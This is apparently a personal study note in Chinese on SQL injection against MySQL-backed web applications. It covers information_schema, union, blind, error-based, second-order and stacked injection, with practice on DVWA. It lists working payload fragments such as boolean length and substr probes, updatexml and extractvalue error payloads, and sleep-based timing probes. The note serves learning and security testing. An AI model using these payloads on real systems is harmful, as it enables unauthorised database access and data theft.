WEB攻防_SQL注入
数据库框架
- maysql
- 数据库A
- 表a
- 列名1
- 数据
- 列名2
- 数据
- 列名1
- 表b
- 列名1
- 数据
- 列名2
- 数据
- 列名1
- 表a
- 数据库B
- 表c
- 列名1
- 数据
- 列名2
- 数据
- 列名1
- 表d
- 列名1
- 数据
- 列名2
- 数据
- 列名1
- 表c
- 数据库A
保存关键信息数据库
在mysql数据库中,有一个固定的数据库information_schema保存着有关数据库的很多信息
-
表SCHEMATA(5列)
- 保存着所有数据库名称
- 关键列:SCHEMA_NAME
-
表TABLES
- 记录表名信息的表
- 关键列:TABLE_SCHEMA、TABLE_NAME
-
表columns
- 记录列名信息表
- 关键列:TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME
SQL注入类型
-
基于正常回显
联合查询 union select -
盲注
- 布尔型盲注
- 基于时间盲注sleep()
- 基于错误回显
floor()
extractvalue()
updatexml()
masql 常规注入查询
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
低版本没有information_schema数据库
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
SQL盲注
布尔盲注报错
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True
(页面)和False
(页面)。
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
也就是我们注入查询的结果没有办法直接显示,所以我们可以依靠来构造查语句的正确性来猜测爆破信息
常用语句:
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
practice-DVWA
报错盲注
使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。
通过UpdateXml报错
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
通过ExtractValue报错
and extractvalue(1, concat(0x7e,(SELECT version()),0x7e))
通过floor报错
//没看懂
https://juejin.cn/post/7156744293988696095
https://www.jianshu.com/p/bc35f8dd4f7c
延迟盲注
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
也就是说一次攻击造成不了什么,但是两次配合起来就会早成注入漏洞。
堆叠注入
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
带外注入
说是几乎见不到,先暂时不搞了